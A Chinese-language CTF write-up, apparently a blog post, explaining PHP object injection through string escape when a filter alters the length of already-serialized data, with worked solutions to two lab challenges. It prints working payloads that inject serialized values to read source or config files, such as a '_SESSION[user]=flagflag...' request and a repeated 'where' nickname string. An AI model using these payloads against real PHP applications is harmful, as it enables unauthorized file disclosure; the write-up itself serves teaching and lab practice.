PHP反序列化中过滤函数使用不当导致的对象注入
1.漏洞产生的原因
#### 正常的反序列化语句是这样的
$a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}';
但是如果写成这样
$b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";}s:8:"password";s:6:"abcde";}';
也可以正常的编译, 而且下面一条语句的结果是 password=“123456” 而不是abcde

结果

这就说明一个问题,在反序列化的时候,只要求第一个序列化字符串合法就行,换我个理解,就是反序列话时,他会从前往后读取,当读取第一个合法的序列化的字符串时,就会反序列化。
### 当过滤用户输入参数的时候,如果先序列化再对序列化过后的字符串进行过滤,而且在过滤的过程中会导致原本的长度改变,就可能造成序列化对象注入漏洞。
此处参考别人的代码:


可以看到,这里过滤函数将原来的x换成了zz,但是长度却超过了原来的长度 ,但是原来长度的数字时没变的,这就导致报错。但是试想一下,如果这里的密码是可控的,然后我们输入字符
的时候带入双引号和} 会怎么样呢? 看如下代码

结果

第一排是我们构造的东西序列化过后的值,
第二排是序列化过后的值进行过滤过后的值,可以看到,此时由于x换成了z,而前面读40的时候正好会读到最后一个x,从而使我们输入的新对象得以注入,而且得到正常的反序列化。
第三排是反序列化过后的到的值,此时原本的aaaaaa的值已经被我们覆盖。
二:实例分析
根据上面的原因可知,产生漏洞最直接的原因是因为序列化过后的字符串被过滤的时长度发生变化, 根据这个这个原因,我们就可以把漏洞分为 长度变长,和长度变短两种情况,注意! 如果长度不变的话,不会引起漏洞产生。
(1) 长度变短。
题目: 安洵杯2019 easy_serialize_php // 在https://buuoj.cn/ 这个靶场里又复现
源码:

根据提示在phpinfo拿到

很显然答案在 d0g3_f1ag.php里面,关键是我们怎么去读取他的源码 ,可以看到最后一排的会获取 ['img'] 中的 的源码,我们仅需要覆盖img的值将他变成d0g3_f1ag.php就行。
在看这个过滤函数

他会使得输入的相应字符变为空,也就是让序列化后的字符串变短,我们就可以利用此来吞掉原本的变量名,而注入我们想注入的代码。
第一种解法:值逃逸
d0g3_f1ag.php的base64 编码 ZDBnM19mMWFnLnBocA== 长度20
在本地测试的时候得到正常的 序列化字符是这样的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"123";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
前者user,和function 的值都是我们可控的
我们想要构造的是 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 设想一下 ,如果我们把它设置function的值,并且在前面user的值利用过滤函数将后面的 "s:8:"function";s:xx:" 吞掉,那么function的值,也就是我们想要注入的对象,不就正好上位了吗? 但是注意闭合前面的由于吞掉而缺少的分号和双引号,而且,这里两个双引号紧挨着会报错,所以我们加一个字符,再把这个字符一起吞掉就行,还有 这里前面是 a:3: 所以我在最后还要添加一个属性。
payload
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
读到源码

再去修改payload的文件中的值,然后再去访问,发现什么也没有返回,然后尝试 /../d0g3_fllllllag 然后base64编码 去访问就会返回flag

(2)长度变长
题目 [0CTF] piapiapia // 同样在buu里又复现
wp参考这里 ->https://blog.csdn.net/zz_Caleb/article/details/96777110
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
红色部分是我们想要注入的,这道题的过滤函数有三个 ,但是导致长度变化的过滤是这个

where->hacker 多出了一个字符
但是另一个过滤使 nickname 有长度限制

这里strlen我们可以用数组绕过,但是如果使用数组就会引起序列化字符串产生变化
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
注意数组在序列化中的表示 是 先; 再 }
这里我进行了本地测试

结果:

红色部分为我们想注入的,蓝色的是我们提交payload的地方,后面实际上根本不用管
现在我们想的是通过where ->hacker 多了一个字符,这样使我们输入的nickname的值逃逸出去变成对象,
加上闭合前面的单引号和反括号 就是这样 ";}s:5:"photo";s:10:"config.php";}
一共就是34个字符, 一个where 逃逸出一个字符,这里就需要34个where
payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
三.总结
武汉加油!中国加油!我加油!
PHP反序列化中过滤函数使用不当导致的对象注入的更多相关文章
- PHP字符逃逸导致的对象注入
1.漏洞产生原因: 序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题 ?php functio ...
- c中gets函数使用可能导致缓冲区溢出
头文件:#include <stdio.h> gets()函数用于从缓冲区中读取字符串,其原型如下: char *gets(char *string); gets()函数从流中读取字 ...
- io流中read方法使用不当导致运行异常的一点
public class CopyMp3test { public static void main(String[] args) throws IOException { FileInputStre ...
- JS-比较函数中嵌套函数,可以排序【对象数组】
function createCompareFun(propertyName){ return function(object1,object2){ var value1 = object1[prop ...
- JavaScript中的函数表达式
在JavaScript中,函数是个非常重要的对象,函数通常有三种表现形式:函数声明,函数表达式和函数构造器创建的函数. 本文中主要看看函数表达式及其相关的知识点. 函数表达式 首先,看看函数表达式的表 ...
- JavaScript中valueOf函数与toString方法
基本上,所有JS数据类型都拥有valueOf和toString这两个方法,null除外.它们俩解决javascript值运算与显示的问题,本文将详细介绍,有需要的朋友可以参考下 JavaScrip ...
- fastjson反序列化使用不当导致内存泄露
分析一个线上内存告警的问题时,发现了造成内存告警的原因是使用fastjson不当导致的. 分析dump发现com.alibaba.fastjson.util.IdentityHashMap$Entry ...
- PHP索引数组+unset使用不当导致的问题
转自先知社区 https://xz.aliyun.com/t/2443 0x00前言 通常网站后台可以配置允许上传附件的文件类型,一般登录后台,添加php类型即可上传php文件getshell.但是, ...
- joomla \libraries\joomla\session\session.php 反序列化截断畸形字符串导致对象注入漏洞
catalog . 漏洞描述 . PHP SESSION持久化 . PHP 序列化/反序列化内核实现 . 漏洞代码分析 . POC构造技巧 . 防御方案 . Code Pathc方案 1. 漏洞描述 ...
随机推荐
- Python 植物大战僵尸代码实现: 图片加载和显示切换
游戏介绍以前很火的植物大战僵尸游戏, 本想在网上找个python版本游戏学习下,无奈没有发现比较完整的,那就自己来写一个把.图片资源是从github上下载的,因为图片资源有限,只能实现几种植物和僵尸. ...
- Web开发学习目录
1.MyBaits 1.1mybatis学习入门 1.2mybatis学习之CURD 1.3mybatis学习之连接池 1.4mybatis学习之动态SQL 1.5mybatis学习之多表操作 1.6 ...
- 力扣208——实现 Trie (前缀树)
这道题主要是构造前缀树节点的数据结构,帮助解答问题. 原题 实现一个 Trie (前缀树),包含 insert, search, 和 startsWith 这三个操作. 示例: Trie trie = ...
- 【Java基础总结】网络编程
网络编程 InetAddress tcp udp
- 快到极致的Android模拟器——Genymotion
转载声明:Ryan的博客文章欢迎您的转载,但在转载的同时,请注明文章的来源出处,不胜感激! :-)http://my.oschina.net/ryanhoo/blog/141824 还在用Androi ...
- 2D地图擦除算法
. 关于2D地图擦除算法,去年我写过一个实现,勉强实现了地形擦除,但跟最终效果还相差甚远,这次我写了一个完整的实现,在此记录,留个印象. . 去年的版本<<算法 & 数据结构--裁 ...
- 【LC_Overview1_5】---学会总结回顾
刷LeetCode题目一周,主要采用C++和Python编程手段,截至目前做了5道简单的leetcode题目,做下阶段性的小结: 小结主要通过手撕代码,复习加回顾,尽量避免自己眼高手低的情况发生,对于 ...
- 从Main读取appsetting
using System; using System.Configuration; using Newtonsoft.Json.Linq; using System.Net.Http; using S ...
- 查看JVM参数
如何查看一个正在运行中的java程序,它的某个jvm参数是否开启?具体值是多少? jps jinfo jvm的参数类型: 1.标配参数:java -version ,java -help , jav ...
- 有关lightning页面中页面加载时间计数器颜色分别表示的时间范围的问题
之所以要转载这篇文章的原因是,有一次调查lightning中右上角有个页面加载时间控件颜色分别代表多少时间范围的问题,搜索查阅了很多资料和文件,最终在一篇有关Lighthouse前端性能优化测试工具的 ...